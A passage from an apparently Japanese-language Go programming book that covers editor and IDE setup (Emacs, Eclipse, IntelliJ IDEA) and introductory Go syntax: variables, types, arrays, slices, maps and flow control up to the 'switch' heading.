    (setq imenu-generic-expression
        '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1)
        ("func" "^func *\\(.*\\) {" 1)))
    (imenu-add-to-menubar "Index")
    ;; Outline mode
    (make-local-variable 'outline-regexp)
    (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")
    (outline-minor-mode 1)
    (local-set-key "\M-a" 'outline-previous-visible-heading)
    (local-set-key "\M-e" 'outline-next-visible-heading)
    ;; Menu bar
    (require 'easymenu)
    (defconst go-hooked-menu
        '("Go tools"
        ["Go run buffer" go t]
        ["Go reformat buffer" go-fmt-buffer t]
        ["Go check buffer" go-fix-buffer t]))
    (easy-menu-define
        go-added-menu
        (current-local-map)
        "Go tools"
        go-hooked-menu)

    ;; Other
    (setq show-trailing-whitespace t)
    ))
;; helper function
(defun go ()
    "run current buffer"
    (interactive)
    (compile (concat "go run " (buffer-file-name))))

;; helper function
(defun go-fmt-buffer ()
    "run gofmt on current buffer"
    (interactive)
    (if buffer-read-only
    (progn
        (ding)
        (message "Buffer is read only"))
    (let ((p (line-number-at-pos))
    (filename (buffer-file-name))
    (old-max-mini-window-height max-mini-window-height))
        (show-all)
        (if (get-buffer "*Go Reformat Errors*")
    (progn
        (delete-windows-on "*Go Reformat Errors*")
        (kill-buffer "*Go Reformat Errors*")))
        (setq max-mini-window-height 1)
        (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t))
    (progn
        (erase-buffer)
        (insert-buffer-substring "*Go Reformat Output*")
        (goto-char (point-min))
        (forward-line (1- p)))
    (with-current-buffer "*Go Reformat Errors*"
    (progn
        (goto-char (point-min))
        (while (re-search-forward "<standard input>" nil t)
        (replace-match filename))
        (goto-char (point-min))
        (compilation-mode))))
        (setq max-mini-window-height old-max-mini-window-height)
        (delete-windows-on "*Go Reformat Output*")
        (kill-buffer "*Go Reformat Output*"))))
;; helper function
(defun go-fix-buffer ()
    "run gofix on current buffer"
    (interactive)
    (show-all)
    (shell-command-on-region (point-min) (point-max) "go tool fix -diff"))

おめでとうございます。今からあなたはこの神器を使ってGo開発の楽しみを体験できます。デフォルトのspeedbarは閉じています。もし開く場合は ;; (speedbar 1) の前のコメントを取り去るか、M-x speedbarを手動で起動してください。

Eclipse

Eclipseも非常によく使われる開発ツールです。以下ではEclipseを使ってどのようにGoプログラムを編集するかご紹介します。

図1.11 EclipseでのGo編集のメイン画面

まずEclipseをダウンロードしてインストールします。

goclipseプラグインをダウンロードします。

http://code.google.com/p/goclipse/wiki/InstallationInstructions

gocodeをダウンロードして、goのコード補完を表示させます。

gocodeのgithubアドレス：

https://github.com/nsf/gocode

windowsではgitをインストールする必要があります。通常は[msysgit](https://code.google.com/p/msysgit/)を使います。

cmdでインストールを行います：

go get -u github.com/nsf/gocode

以下のコードをダウンロードし、直接go buildでコンパイルしてもかまいません。この場合はgocode.exeが生成されます。

MinGWをダウンロードして要求に従いインストールしてください。

プラグイン設定

Windows->Reference->Go

(1).Goのコンパイラを設定します。

図1.12 Goの基本情報を設定します。

(2).Gocodeを設定します（オプション、コード補完）、Gocodeのパスは事前に生成したgocode.exeファイルを設定します。

図1.13 gocode情報を設定します。

(3).GDBを設定します（オプション、テスト用）、GDBのパスはMingGWのインストールディレクトリ下のgdb.exeファイルを設定します。

図1.14 GDB情報の設定

テストが成功するか

goプロジェクトを一つ新規作成して、hello.goを作成します：

  図1.15 プロジェクトの新規作成とファイルの編集

テストの実行（consoleでコマンドを入力する必要があります）：

  図1.16 Goプログラムのテスト

IntelliJ IDEA

Javaに親しい読者はideaには不慣れだと思います、ideaはプラグインを通してgo言語のシンタックスハイライト、コード補完およびリビルドをサポートしています。

ideaを先にダウンロードします。ideaはマルチプラットフォームをサポートしています：win,mac,linux、もしお金があれば正式版を購入します、もし無ければ、コミュニティの無料版を使ってください。Go言語を開発するだけであれば無料版で十分事足ります。

Goプラグインをインストールし、FileメニューのSettingをクリックします。Pluginsを探したら、Browser repoボタンをクリックします。中国国内のユーザはおそらくエラーが出るかもしれませんが、自分で解決してくれよな。

この時いくつものプラグインが見つかります。Golangを検索して、download and installをダブルクリックしてください。golangの行末にDownloadedの表示が現れるのを待って、OKをクリックします。

その後Applyをクリックすると、IDEが再起動を要求します。

再起動が完了し、新規プロジェクトを作成すると、golangプロジェクトが作成可能であることがお分かりいただけるかとおもいます：

次に、go sdkの場所を入力するよう促されるかもしれません。普段はいつもC:\Goにインストールされています。Linuxとmacは自分のインストールディレクトリの設定にしたがって、ディレクトリを選択すれば大丈夫です。

Generated by md2min

1.5 まとめ

この章では主にどのようにしてGoをインストールするかについてご紹介しました。Goは3つの種類のインストール方法があります：ソースコードインストール、標準パッケージインストール、サードパーティツールによるインストールです。インストール後開発環境を整え、ローカルの$GOPATHを設定します。$GOPATH設定を通じて読者はプロジェクトを作成することができます。次にどのようにプロジェクトをコンパイルするのか説明しました。アプリケーションのインストールといった問題はたくさんのGoコマンドを使用する必要があります。そのため、Goで日常的に用いられるコマンドツールについてもご説明しました。コンパイル、インストール、整形、テストなどのコマンドです。最後にGoの開発ツールについてご紹介しました。現在多くのGoの開発ツールには：LiteIDE、sublime、VIM、Emacs、Eclipse、Ideaといったツールがあります。読者は自分が一番慣れ親しんだツールを設定することができます。便利なツールで素早くGoアプリケーションを開発できるよう願っています。

Generated by md2min

2 Go言語の基礎

目次

GoはCに似たコンパイラ型言語です。ですが、このコンパイル速度は非常に速く、この言語のキーワードもたったの25個です。英文よりも少し少なく勉強するにはかなり簡単です。まずはこれらのキーワードがどのようなものか見てみることにしましょう：

break    default      func    interface    select
case     defer        go      map          struct
chan     else         goto    package      switch
const    fallthrough  if      range        type
continue for          import  return       var

この章では、この言語の基礎勉強にあなたを連れていきます。各章の紹介を通じて、Goの世界がどれほどまでに簡潔で絶妙にデザインされているかお分かりいただけるはずです。Goを書くことはとても楽しいことです。後から振り返ると、この25個のキーワードがどれだけフレンドリーか理解するはずです。

目次

Generated by md2min

2.1 こんにちは、Go

プログラム

説明

結論

アプリケーションを書き始める前に、まず基本となるプログラムから始めます。家を建てようとする前に建物の基礎がどういったものかわからないのと同じように、プログラムの編集もどのように始めたらよいのかわからないものです。そのため、本章では、最も基本的な文法を学習し、Goプログラムを実行してみます。

プログラム

これは伝統なのですが、大部分の言語を学習するときは、どのようにしてhello worldを出力するかというプログラムを書くことを学びます。

用意はいいですか？Let’s Go!

package main

import "fmt"

func main() {
    fmt.Printf("Hello, world or 你好，世界 or καλημ ́ρα κóσμ or こんにちはせかい\n")
}

以下のように出力されます：

Hello, world or 你好，世界 or καλημ ́ρα κóσμ or こんにちはせかい

説明

まず我々はある概念を理解する必要があります。Goプログラムはpackageで構成されています。

package <pkgName>（我々の例ではpackage main）の1行は現在のファイルがどのパッケージの属しているかを表しています。またパッケージmainはこれが独立して実行できるパッケージであることを示しています。コンパイル後実行可能ファイルが生成されます。mainパッケージを除いて、他のパッケージは最後には*.aというファイルが生成され（パッケージファイルとも呼ばれます。）、$GOPATH/pkg/$GOOS_$GOARCHに出力されます。（Macでは$GOPATH/pkg/darwin_amd64になります。）

それぞれの独立して実行できるGoプログラムは必ずpackage mainの中に含まれます。このmainパッケージには必ずインターフェースとなるmain関数が含まれます。この関数には引数がなく、戻り値もありません。

Hello, world...と出力するために、我々はPrintf関数を用います。この関数はfmtパッケージに含まれるため、我々は3行目でシステム固有のfmtパッケージを導入しています：import "fmt"。

パッケージの概念はPythonのpackageに似ています。これらには特別な利点があります：モジュール化（あなたのプログラムを複数のモジュールに分けることができます）と再利用性（各モジュールはすべて他のアプリケーションプログラムで再利用することができます）。ここではパッケージの概念を理解するにとどめ、あとで自分のパッケージを書くことにしましょう。

5行目では、キーワードfuncを通じてmain関数を定義しています。関数の中身は{}(大括弧)の中に書かれます。我々が普段CやC++、Javaを書くのと同じです。

main関数にはなんの引数もありません。あとでどのように引数があったり、0個または複数の値を返す関数を書くか学ぶことにしましょう。

6行目では、fmtパッケージに定義されたPrintf関数をコールします。この関数は<pkgName>.<funcName>の形式でコールされます。この点はPythonとよく似ています。

上述の通り、パッケージ名とパッケージが存在するディレクトリは異なっていてもかまいません。ここでは<pkgName>がディレクトリ名ではなくpackage <pkgName>で宣言されるパッケージ名とします。

最後に、我々が出力した内容に多くの非ASCIIコードが含まれていることにお気づきかもしれません。実際、Goは生まれながらにしてUTF-8をサポートしており、いかなる文字コードも直接出力することができます。UTF-8の中の任意のコードポイントを識別子にしても構いません。

結論

Goはpackage（Pythonのモジュールに似ています）を使用してコードを構成します。main.main()関数（この関数は主にメインパッケージにあります）は個別に独立した実行可能プログラムのインターフェースになります。GoはUTF-8文字列と識別子（なぜならUTF-8の発明者もGoの発明者と同じだからです。）を使用しますので、はじめから多言語サポートを有しています。

Generated by md2min

2.2 Go基礎

変数の定義

定数

ビルトイン基本型

Boolean

数値型

文字列

エラー型

Goデータの低レイヤの保存

テクニック

グループ化による宣言

iota列挙型

Goプログラムのデザインルール

array、slice、map

array

slice

map

make, new操作

この節では変数、定数、Goの内部クラスの定義と、Goプログラムの設計におけるテクニックをご紹介します。

変数の定義

Go言語では変数は数多くの方法で定義されます。

varキーワードを使用することはGoの最も基本的な変数の定義方法です。C言語と異なり、Goでは変数の型を変数の後に置きます。

//"variableName"という名前で定義します。型は"type"です。
var variableName type

複数の変数を定義します。

    //すべて"type"型の3つの変数を定義します。
var vname1, vname2, vname3 type

変数を定義し、初期化します。

//"variableName"の変数を"value"で初期化します。型は"type"です。
var variableName type = value

複数の変数を同時に初期化します。

/*
    すべて"type"型の3つの変数を定義し、それぞれ個別に初期化を行います。
    vname1はv1，vname2はv2，vname3はv3
*/
var vname1, vname2, vname3 type= v1, v2, v3

あなたは上述の定義が面倒だと思いますか？大丈夫、Go言語の設計者もわかっています。少し簡単に書くこともできます。直接型の宣言を無視することができるので、上のコードはこのようにも書けます：

/*
    3つの変数を定義し、それぞれ個別に初期化する。
    vname1はv1，vname2はv2，vname3はv3
    このあとGoは代入される値の肩に従ってそれぞれ初期化を行います。
*/
var vname1, vname2, vname3 = v1, v2, v3

これでもまだ面倒ですか？ええ、私もそう思います。更に簡単にしてみましょう。

/*
    3つの変数を定義し、それぞれ個別に初期化します。
    vname1はv1，vname2はv2，vname3はv3
    コンパイラは初期化する値に従って自動的にふさわしい型を導き出します。
*/
vname1, vname2, vname3 := v1, v2, v3

これなら非常に簡潔になったでしょう？:=の記号はvarとtypeに直接取って代わるものです。これらの形式を短縮宣言と呼びます。ただしこれにはひとつ制限があります。これらは関数の内部でしか使用できません。関数の外で使用するとコンパイルが通らなくなります。そのため、一般的にはvar方式でグローバル変数が定義されます。

_（アンダースコア）は特別な変数名です。どのような値もすべて捨てられてしまいます。この例では35という値をbに与えますが、同時に34は失われてしまいます。

_, b := 34, 35

Goはすでに宣言されている未使用の変数をコンパイル時にエラーとして出力します。例えば下のコードはエラーを一つ生成します。iは宣言されましたが使用されていません。

package main

func main() {
    var i int
}

定数

いわゆる定数というのは、プログラムがコンパイルされる段階で値が決定されます。また、プログラムが実行される時には値の変更は許されません。定数には数値、bool値または文字列等の型を定義することができます。

この文法は以下の通りです：

const constantName = value
//もし必要であれば、定数の型を明示することもできます：
const Pi float32 = 3.1415926

ここでは定数の宣言の例を示します：

const Pi = 3.1415926
const i = 10000
const MaxThread = 10
const prefix = "astaxie_"

Go の定数は一般的なプログラミング言語と異なり、かなり多くの小数点以下の桁を指定することができます(たとえば200桁など)、 float32に自動的な32bitへの短縮を指定したり、float64に自動的な64bitへの短縮を指定するにはリンクをご参照ください。

ビルトイン基本型

Boolean

Goではbool値の型はboolです。値はtrueもしくはfalseです。デフォルト値はfalseです。

// コード例
var isActive bool  // グローバル変数の宣言
var enabled, disabled = true, false  // 型を省略した宣言
func test() {
    var available bool  // 通常の宣言
    valid := false      // 短縮宣言
    available = true    // 代入操作
}

数値型

整数型には符号付きと符号無しの２つがあります。Goはまたintとuintをサポートしています。この２つの型の長さは同じですが、実際の長さは異なるコンパイラによって決定されます。~~現在のgccとgccgoコンパイラは32bitと64bitプラットフォーム上では常に32bitでintとuintを表示しますが、将来64bitプラットフォーム上では64bitまで拡張されるかもしれません~~。Goでは直接bit数を指定できる型もあります：rune, int8, int16, int32, int64とbyte, uint8, uint16, uint32, uint64です。この中でruneはint32のエイリアスです。byteはuint8のエイリアスです。

注意しなければならないのは、これらの型の変数間は相互に代入または操作を行うことができないということです。コンパイル時にコンパイラはエラーを発生させます。

下のコードはエラーが発生します。：invalid operation: a + b (mismatched types int8 and int32)

var a int8

var b int32

c:=a + b

また、intの長さは32bitですが、intとint32もお互いに利用することはできません。

浮動小数点の型にはfloat32とfloat64の二種類があります（float型はありません。）。デフォルトはfloat64です。

これで全てですか？No! Goは複素数もサポートしています。このデフォルト型はcomplex128（64bit実数+64bit虚数）です。もしもう少し小さいのが必要であれば、complex64（32bit実数+32bit虚数）もあります。複素数の形式はRE + IMiです。この中でREが実数部分、IMが虚数部分になります。最後のiは虚数単位です。以下に複素数の使用例を示します：

var c complex64 = 5+5i
//output: (5+5i)
fmt.Printf("Value is: %v", c)

文字列

前の章で述べた通り、Goの文字列はすべてUTF-8コードが採用されています。文字列は一対のダブルクォーテーション("")またはバッククォート（` `）で括られることで定義されます。この型はstringです。

//コード例
var frenchHello string  // 文字列変数の宣言の一般的な方法
var emptyString string = ""  // 文字列変数を一つ宣言し、空文字列で初期化する。
func test() {
    no, yes, maybe := "no", "yes", "maybe"  // 短縮宣言、同時に複数の変数を宣言
    japaneseHello := "Konichiwa"  // 同上
    frenchHello = "Bonjour"  // 通常の代入
}

Goの文字列は変更することができません。例えば下のコードはコンパイル時にエラーが発生します。：cannot assign to s[0]

var s string = "hello"
s[0] = 'c'

ただし、本当に変更したくなったらどうしましょうか？ここでは以下のコードで実現します：

s := "hello"
c := []byte(s)  // 文字列 s を []byte 型にキャスト
c[0] = 'c'
s2 := string(c)  // もう一度 string 型にキャストし直す
fmt.Printf("%s\n", s2)

Goでは+演算子を使って文字列を連結することができます：

s := "hello,"
m := " world"
a := s + m
fmt.Printf("%s\n", a)

文字列の修正もこのように書けます：

s := "hello"
s = "c" + s[1:] // 文字列を変更することはできませんが、スライスは行えます。
fmt.Printf("%s\n", s)

もし複数行の文字列を宣言したくなったらどうしましょうか？この場合`で宣言することができます：

m := `hello
    world`

` で括られた文字列はRaw文字列です。すなわち、文字列はコード内の形式がそのままプリント時の形式になります。文字列の変更はありません。改行はそのまま出力されます。例えばこの例では以下のように出力されます：

hello
    world

エラー型

Goにはビルトインのerror型があります。専らエラー情報の処理に使用されます。Goのpackageの中にはエラー処理を行うerrorsというパッケージがあります。

err := errors.New("emit macho dwarf: elf header corrupted")
if err != nil {
    fmt.Print(err)
}

Goデータの低レイヤの保存

下の図はRuss Cox Blogの中の一文で紹介されているGoデータ構造の文章です。これらの基本型は低レイヤでメモリを分配し、対応する値を保存していることが見て取れるとおもいます。

図2.1 Goデータ形式の保存

テクニック

グループ化による宣言

Go言語では、複数の定数・変数を宣言する場合、または複数のパッケージをインポートする場合、グループ化による方法で宣言することができます。

例えば以下のコード：

import "fmt"
import "os"

const i = 100
const pi = 3.1415
const prefix = "Go_"

var i int
var pi float32
var prefix string

グループ化によって以下のような形式になります：

import(
    "fmt"
    "os"
)

const(
    i = 100
    pi = 3.1415
    prefix = "Go_"
)

var(
    i int
    pi float32
    prefix string
)

他の値やiotaに設定されているものを除いて、各constグループのはじめの定数はデフォルトで0となります。二番目以降の定数は前の定数の値がデフォルト値となります。もし前の定数の値がiotaであれば、直後の値もiotaになります。

iota列挙型

Goではiotaというキーワードがあります。このキーワードはenumを宣言する際に使用されます。このデフォルト値は0からはじまり、順次1が追加されます：

const(
    x = iota  // x == 0
    y = iota  // y == 1
    z = iota  // z == 2
    w  // 定数の宣言で値を省略した場合、デフォルト値は前の値と同じになります。ここではw = iotaと宣言していることと同じになりますので、w == 3となります。実は上のyとzでもこの"= iota"は省略することができます。
)

const v = iota // constキーワードが出現する度に、iotaは置き直されます。ここではv == 0です。

const (
  e, f, g = iota, iota, iota //e=0,f=0,g=0 iotaの同一行は同じです
)

Goプログラムのデザインルール

Goがこのように簡潔なのは、それがいくつかのデフォルトの行為を持っているからです： - 大文字で始まる変数はエクスポート可能です。つまり、他のパッケージから読むことができる、パブリックな変数だということです。対して小文字で始まる変数はエクスポートできません。これはプライベート変数です。 - 大文字で始まる関数も同じです。classの中でpublicキーワードによってパブリック関数となっているのと同じです。対して小文字で始まる関数はprivateキーワードのプライベート関数です。

array、slice、map

array

arrayは配列です。この定義は以下のようになります：

var arr [n]type

[n]typeの中で、nは配列の長さを表しています。typeは保存する要素の型を示しています。配列に対する操作は他の言語とよく似ていて、どれも[]を通して値の取得および代入を行います。

var arr [10]int  // int型の配列を宣言します。
arr[0] = 42      // 配列のインデックスは0からはじまります。
arr[1] = 13      // 代入操作
fmt.Printf("The first element is %d\n", arr[0])  // データを取得して、42を返します。
fmt.Printf("The last element is %d\n", arr[9]) //値が代入されていない最後の要素を返します。デフォルトでは0が返ります。

長さも配列の一部ですので、[3]intと[4]intは異なる型になります。配列も長さを変えることはできません。配列間の代入は値渡しです。つまり、一つの配列が関数の引数となった場合、渡されるのは実はこの配列のコピーであり、ポインタではありません。もしポインタを使いたい場合は、この後にご紹介するslice型をご利用ください。

配列はもうひとつの:=で宣言することができます。

a := [3]int{1, 2, 3} // 長さが3のintの配列を宣言します。

b := [10]int{1, 2, 3} // 長さが10のint配列を宣言します。この中で3つの要素の初期値は1、2、3で、そのほかのデフォルトは0です。

c := [...]int{4, 5, 6} // 長さを`...`で省略することもできます。Goは自動で要素数から長さを計算します。

もしあなたが「配列に配列を込めたい場合は実現できますか？」と問うならば、当然ですとも、とお応えしましょう。Goはネストした配列をサポートしています。例えば下のコードでは二次元配列を宣言しています：

    // 二次元配列を一つ宣言します。この配列は２つの配列を要素としており、各配列には4つのint型の要素が含まれます。
doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}}

    // 上の宣言は簡略化できます。直接内部の型を省略しています。
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}}

配列の状態は以下のとおりです：

図2.2 多次元配列のマッピング関係

slice

多くのアプリケーションでは、配列はあまりわたしたちの要求を満たしてはくれません。配列を初期化する場合、どれぐらいの大きさの配列が必要かわからないからです。そのため、“動的な配列”が必要となります。Goではこのようなデータ構造をsliceと呼びます。

sliceは本当の意味での動的な配列ではありません。これは単なる参照型です。sliceは常に低レイヤのarrayを指しています。sliceの宣言もarrayと同様に長さを指定する必要はありません。

// arrayの宣言と同じですが、長さは必要ありません。
var fslice []int

次にsliceを宣言すると同時にデータを初期化します：

slice := []byte {'a', 'b', 'c', 'd'}

sliceはひとつの配列またはすでに存在するsliceの中から宣言することができます。sliceはarray[i:j]で取得することができます。この中でiは配列の開始位置です。jは終了位置です。ただしarray[j]は含みません。長さはj-iとなります。

// 10個の要素を宣言します。要素の型はbyteの配列です。
var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}

// byteを含む２つのsliceを宣言します
var a, b []byte

    // aポインタ配列の3つ目の要素から始まり、5つ目の要素まで
a = ar[2:5]
    //現在aの持つ要素は：ar[2]、ar[3]とar[4]です。

    // bは配列arのもう一つのsliceです。
b = ar[3:5]
// bの要素は：ar[3]とar[4]です。

sliceと配列は宣言時に区別されますのでご注意ください：配列を宣言するとき、中括弧の中で配列の長さを明示するかまたは...で自動的に長さを計算します。一方sliceを宣言する時は、中括弧内には文字はありません。

これらのデータ構造は以下のようになっています。

図2.3 sliceとarrayの対応関係図

sliceには便利な操作があります

sliceのデフォルト開始位置は0です。ar[:n]などはar[0:n]と等価です。

sliceの２つ目の値のデフォルトは配列の長さです。ar[n:]はar[n:len(ar)]等価です。

もし配列の中から直接sliceを取り出す場合は、ar[:]というような形で指定することができます。なぜならデフォルトのはじめの値は0で２つ目は配列の長さだからです。すなわち、ar[0:len(ar)]と等価となります。

ここではより多くのsliceの操作についていくつか例を挙げます：

// 配列を宣言
var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
// sliceを２つ宣言
var aSlice, bSlice []byte

// 便利な操作のデモンストレーション
aSlice = array[:3] // aSlice = array[0:3] と同じ。aSliceには以下の要素が含まれます: a,b,c
aSlice = array[5:] // aSlice = array[5:10] と同じ。aSliceには以下の要素が含まれます: f,g,h,i,j
aSlice = array[:]  // aSlice = array[0:10] と同じ。この場合aSliceにはすべての要素が含まれます。

// sliceからsliceを取り出す
aSlice = array[3:7]  // aSliceには以下の要素が含まれます: d,e,f,g，len=4，cap=7
bSlice = aSlice[1:3] // bSlice にはaSlice[1], aSlice[2] が含まれそれぞれの要素は以下のとおりです: e,f
bSlice = aSlice[:3]  // bSlice には aSlice[0], aSlice[1], aSlice[2] が含まれます。それぞれ以下のとおりです: d,e,f
bSlice = aSlice[0:5] // sliceのsliceに対してcapの範囲内で拡張することができます。この時bSliceには以下の要素が含まれます：d,e,f,g,h
bSlice = aSlice[:]   // bSliceにはaSliceのすべての要素が含まれます: d,e,f,g

sliceは参照型ですので、この中の要素の値を変更すると、そのほかのすべての参照でも値が変更されます。たとえば上のaSliceとbSliceで、aSliceの中の要素を変更すると、bSliceの対応する値も同時に変更されます。

概念上では、sliceは構造体です。この構造体には3つの要素が含まれます： - 一つはポインタです。配列中のsliceが示す開始位置を指しています。 - 長さ、つまりsliceの長さです。 - 最大の長さ、sliceの開始位置から配列の最後の位置までの長さです。

    Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}
    Slice_a := Array_a[2:5]

上のコードの正しい保存構造は下の図に示す通りです。

図2.4 sliceに対応する配列の情報

sliceに対しては、いくつかの便利なビルトイン関数があります：

len sliceの長さを取得します。

cap sliceの最大容量を取得します。

append はsliceに対して一つまたは複数の要素を追加します。その後sliceと同じ型のsliceを返します。

copy 関数copyはもとのsliceのsrcをdstに要素をコピーし、コピーした要素の個数を返します。

注：append関数はsliceが参照した配列の内容を変更し得ます。そのため、参照先と同一の配列の他のsliceにも影響します。 しかしsliceの中に余分なスペースが無い（(cap-len) == 0）場合、動的なメモリから新たな配列空間が割り当てられます。返されるslice配列のポインタはこの空間を指しています。また、もとの配列の内容は変わりません。この配列を参照している他のsliceは影響を受けません。

map

mapの概念もPythonのディクショナリです。この形式はmap[keyType]valueTypeです。

下のコードをご覧ください。mapの読み込みと代入はsliceと似ています。keyを通して操作します。ただ、sliceのindexはint型のみになります。mapには多くの型があります。intでもかまいませんし、stringや==と!=演算子が定義されている全ての型でもかまいません。

    // keyを文字列で宣言します。値はintとなるディクショナリです。この方法は使用される前にmakeで初期化される必要があります。
var numbers map[string]int
// もうひとつのmapの宣言方法
numbers := make(map[string]int)
numbers["one"] = 1  //代入
numbers["ten"] = 10 //代入
numbers["three"] = 3

fmt.Println("３つ目の数字は: ", numbers["three"]) // データの取得
// "３つ目の数字は： 3"という風に出力されます。

このmapは我々が普段目にする表と同じです。左の列にkey、右の列に値があります。

mapを使う段階で注意しなければならないことがいくつかあります： - mapは順序がありません。毎回mapの出力は違ったものになるかもしれません。indexで値を取得することはできず、かならずkeyを使うことになります。 - mapの長さは固定ではありません。sliceと同じで、参照型の一種です。 - ビルトインのlen関数をmapに適用すると、mapがもつkeyの個数を返します。 - mapの値は簡単に修正することができます。numbers["one"]=11というようにkeyがoneのディクショナリの値を11に変えることができます。 - mapは他の基本型と異なり、thread-safeではありません。複数のgo-routineを扱う際には必ずmutex lockメカニズムを使用する必要があります。

mapの初期化ではkey:valの方法で初期値を与えることができます。また同時にmapには標準でkeyが存在するか確認する方法が存在します。

deleteでmapの要素を削除します：

// ディクショナリを初期化します。
rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 }
    // mapは２つの戻り値があります。２つ目の戻り値では、もしkeyが存在しなければ、okはfalseに、存在すればokはtrueになります。
csharpRating, ok := rating["C#"]
if ok {
    fmt.Println("C# is in the map and its rating is ", csharpRating)
} else {
    fmt.Println("We have no rating associated with C# in the map")
}

delete(rating, "C")  // keyがCの要素を削除します。

上述の通り、mapは参照型の一種ですので、もし２つのmapが同時に同じポインタを指している場合、一つの変更で、もう一つにも変更が行われます。

m := make(map[string]string)
m["Hello"] = "Bonjour"
m1 := m
m1["Hello"] = "Salut"  // この時、m["hello"]の値もすでにSalutになっています。

make, new操作

makeはビルトイン型（map、sliceおよびchannel）のメモリの割り当てです。newは各型のメモリを割り当てます。

ビルトイン関数newは本質的には他の言語で使われる同名の関数と機能が同じです：new(T)はゼロサプレスされたT型のメモリ空間を割り当て、そのアドレスを返します。すなわち*T型の値です。Goの専門用語で言えば、ポインタを返すということです。新たに割り当てられた型Tのゼロ値です。とても重要なことに：

newはポインタを返します。

ビルトイン関数make(T, args)とnew(T)は異なる機能を持っています。makeはslice、mapまたはchannelを作成し、初期値（非ゼロ値）を持つT型を返すのみで、*Tではありません。本質的には、この３つの型が異なる点はデータ構造を指し示す参照が使用される前に初期化されているということです。例えば、データ（内部array）を指し示すポインタ、長さ，容量による３点で記述されるsliceの各項目が初期化される前は、sliceはnilです。slice, map, channelにとって、makeは内部のデータ構造を初期化し、適当な値で埋め尽くされます。

makeは初期化後の（非ゼロの）値を返します。

以下の図はnewとmakeの違いについて詳細に解説しています。

図2.5 makeとnewの低レイヤでのメモリの割り当て

“ゼロ値”というのは何も空の値ではありません。これは一種の“変数が埋めらる前”のデフォルト値であり、通常は0です。 それぞれの型のゼロ値は以下の通りです

int     0
int8    0
int32   0
int64   0
uint    0x0
rune    0 //runeの実際の型は int32 です。
byte    0x0 // byteの実際の型は uint8 です。
float32 0 //長さは 4 byte
float64 0 //長さは 8 byte
bool    false
string  ""

Generated by md2min

2.3 フローと関数

フロー制御

if

goto

for

switch

関数

複数の戻り値

可変長引数

値渡しと参照渡し

defer

値、型としての関数

PanicとRecover

main関数とinit関数

import

この節ではGoの中のフロー制御と関数操作についてご紹介します。

フロー制御

フロー制御はプログラム言語の中の最も偉大な発明です。なぜならこれがあるだけで、あなたはとても簡単なフローの記述でとても複雑なロジックを表現できるからです。Goではフロー制御は３つの部分から成ります：条件判断、ループ制御及び無条件ジャンプです。

if

ifはあらゆるプログラミング言語の中で最もよく見かけるものかもしれません。この文法は大雑把に言えば：もし条件を満足しなければ何々を行い、そうでなければまたもう一つ別のことをやるということです。

Goの中ではif分岐の文法の中は括弧で括る必要はありません。以下のコードをご覧ください。

if x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than 10")
}

Goのifはすごいことに、条件分岐の中で変数を宣言できます。この変数のスコープはこの条件ロジックブロック内のみ存在し、他の場所では作用しません。以下に示します

// 取得値xを計算し、xの大きさを返します。10以上かどうかを判断します。
if x := computedValue(); x > 10 {
    fmt.Println("x is greater than 10")
} else {
    fmt.Println("x is less than 10")
}

//ここではもしこのようにコールしてしまうとコンパイルエラーとなります。xは条件の中の変数だからです。
fmt.Println(x)

この条件の時は以下のようになります：

if integer == 3 {
    fmt.Println("The integer is equal to 3")
} else if integer < 3 {
    fmt.Println("The integer is less than 3")
} else {
    fmt.Println("The integer is greater than 3")
}

goto

Goにはgoto句があります- - ぜひ賢く使ってください。gotoは必ず事前に関数内で定義したタグにジャンプします。例えばこのようなループがあったと仮定します：

func myFunc() {
    i := 0
Here:   //この行の最初の単語はコロンを最後に持ってくることでタグとなります。
    println(i)
    i++
    goto Here   //Hereにジャンプします。
}

タグの名前は大文字小文字を区別します。

for

Goにで最も強力なロジックコントロールといえば、forです。これはループでデータを読むのに使えます。whileでロジックをコントロールしても構いません。イテレーション操作も行えます。文法は以下の通りです：

for expression1; expression2; expression3 {
    //...
}

expression1、expression2とexpression3はどれも式です。この中でexpression1とexpression3は変数宣言または関数のコールの戻り値のようなものです。expression2は条件判断に用いられます。expression1はループの開始前にコールされます。expression3は毎回ループする際の終了時にコールされます。

だらだら喋るよりも例を見たほうが早いでしょう。以下に例を示します：

package main
import "fmt"

func main(){
    sum := 0;
    for index:=0; index < 10 ; index++ {
        sum += index
    }
    fmt.Println("sum is equal to ", sum)
}
// 出力：sum is equal to 45

時々複数の代入操作を行いたい時があります。Goのなかには,という演算子はないので、平行して代入することができます。i, j = i+1, j-1

時々expression1とexpression3を省略します：

sum := 1
for ; sum < 1000;  {
    sum += sum
}

この中で;は省略することができます。ですので下のようなコードになります。どこかで見た覚えはありませんか？そう、これはwhileの機能です。

sum := 1
for sum < 1000 {
    sum += sum
}

ループの中ではbreakとcontinueという２つのキーとなる操作があります。break操作は現在のループから抜け出します。continueは次のループに飛び越えます。ネストが深い場合、breakはタグと組み合わせて使用することができます。つまり、タグが指定する位置までジャンプすることになります。詳細は以下の例をご覧ください。

for index := 10; index>0; index-- {
    if index == 5{
        break // またはcontinue
    }
    fmt.Println(index)
}
// breakであれば10、9、8、7、6が出力されます。
// continueの場合は10、9、8、7、6、4、3、2、1が出力されます。

breakとcontinueはタグを添えることができます。複数ネストしたループで外側のループからジャンプする際に使用されます。

forはrangeと組み合わせてsliceとmapのデータを読み込むことができます：

for k,v:=range map {
    fmt.Println("map's key:",k)
    fmt.Println("map's val:",v)
}

Goは“複数の戻り値”をサポートしていますが、“宣言して使用されていない”変数に対してコンパイラはエラーを出力します。このような状況では_を使って必要のない戻り値を捨てる事ができます。 例えば

for _, v := range map{
    fmt.Println("map's val:", v)
}

switch

